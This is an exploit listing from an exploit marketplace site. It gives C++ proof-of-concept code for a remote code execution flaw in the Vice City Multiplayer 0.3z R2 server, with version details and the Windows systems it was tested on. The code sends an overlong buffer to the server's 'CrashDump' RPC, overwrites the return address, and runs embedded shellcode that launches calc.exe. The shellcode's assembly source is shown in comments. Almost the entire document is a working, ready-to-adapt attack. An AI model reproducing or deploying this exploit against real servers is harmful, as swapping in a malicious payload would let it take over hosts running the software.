[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Vice City Multiplayer Server 0.3z R2 Remote Code Execution

Author
Sasuke78200
Risk
[
Security Risk High
]
0day-ID
0day-ID-19250
Category
remote exploits
Date add
23-08-2012
Platform
windows
Exploit Title: Vice City Multiplayer remote code execution (Server)
Date: 22/08/2012
Exploit Author: Sasuke78200 (Benjaa Toufik)
Software Link:
http://www.vicecitymultiplayer.com/downloads/03z_r2/server0.3zr2(pawn)(win)(updated2).zip
Version: 0.3z R2
Tested on: Windows XP SP3, Windows 7 Ultimate SP1, Windows Server 2003,
Windows Server 2008, it should work on all Windows.
 
#include "main.h"
 
/*
    Written by Sasuke78200
    http://sasuke78200.blogspot.fr/
 
 */
 
 
RakClientInterface* pClientInterface;
 
 
void Exploit()
{
    unsigned long iLen;
    unsigned char aBuffer[4096];
    RakNet::BitStream* pBitStream;
 
    unsigned char aShellCode[] =
    {
        0xE8, 0x25, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEC,
        0x80, 0x00, 0x00, 0x00, 0x6A, 0x01, 0x6A, 0x00,
        0x6A, 0x00, 0x53, 0x68, 0x78, 0x82, 0x44, 0x00,
        0x6A, 0x00, 0xB8, 0x94, 0x61, 0x44, 0x00, 0xFF,
        0x10, 0x6A, 0x00, 0xB8, 0x00, 0x61, 0x44, 0x00,
        0xFF, 0x10, 0xE8, 0xD6, 0xFF, 0xFF, 0xFF, 0x63,
        0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
/* Compiled version of */
        //USE32
     
        //_start:
        //  call _string
 
        //_begin:
        //  pop     ebx
        //  sub     esp, 0x80
 
        //  ; ShellExecuteA(0, "open", "calc.exe", 0, 0, SW_SHOWNORMAL);
        //  push    1
        //  push    0
        //  push    0
        //  push    ebx
        //  push    0x448278    ; offset of "open" on the server
        //  push    0x00
        //  mov     eax, 0x446194
        //  call    [eax]
 
        //  ; ExitProcess(0); To avoid a crash
        //  push    0
        //  mov     eax, 0x446100
        //  call    [eax]
     
        //_string:
        //  call _begin
        //  db "calc.exe"
        //  db 0
    };
 
    pBitStream = new RakNet::BitStream();
 
    memset(aBuffer, 0x49, sizeof(aBuffer));
 
    iLen = 588; // limit of the stack on Windows
 
    // New EIP (stack pointer)
 
    *(unsigned long*)&aBuffer[iLen] = 0x4165E6;     // Windows
    iLen += 4; // EIP
    *(unsigned long*)&aBuffer[iLen] = 0x90909090;
    iLen += 4;
    memcpy(&aBuffer[iLen], aShellCode, sizeof(aShellCode));
    iLen += sizeof(aShellCode);
 
 
 
    pBitStream->Write((unsigned int)iLen);
    pBitStream->Write((char*)aBuffer, iLen);
 
 
    pClientInterface->RPC("CrashDump", pBitStream, HIGH_PRIORITY, RELIABLE, 0, false, UNASSIGNED_NETWORK_ID, 0);
    delete pBitStream;
}
 
int main()
{
 
    Packet* pPacket;
 
    pClientInterface = RakNetworkFactory::GetRakClientInterface();
    pClientInterface->Connect("127.0.0.1", 5192, 0, 0, 20);
 
 
    for(;;)
    {
        while((pPacket = pClientInterface->Receive()) != 0)
        {
            switch(pPacket->data[0])
            {
            case ID_CONNECTION_REQUEST_ACCEPTED:
                {
                    puts("Connected ...");
                    Exploit();
                    break;
                }
            case ID_CONNECTION_LOST:
                {
                    puts("Connection time out\nCode executed ? :)");
                    break;
                }
            case ID_RECEIVED_STATIC_DATA:
                {
                    break;
                }
            default:
                {
                    printf("packet id %d received lenght %d bytes\n", pPacket->data[0], pPacket->length);
                }
            }
 
            pClientInterface->DeallocatePacket(pPacket);
        }
 
 
    }
 
    return 0;
}



#  0day.today [2024-11-15]  #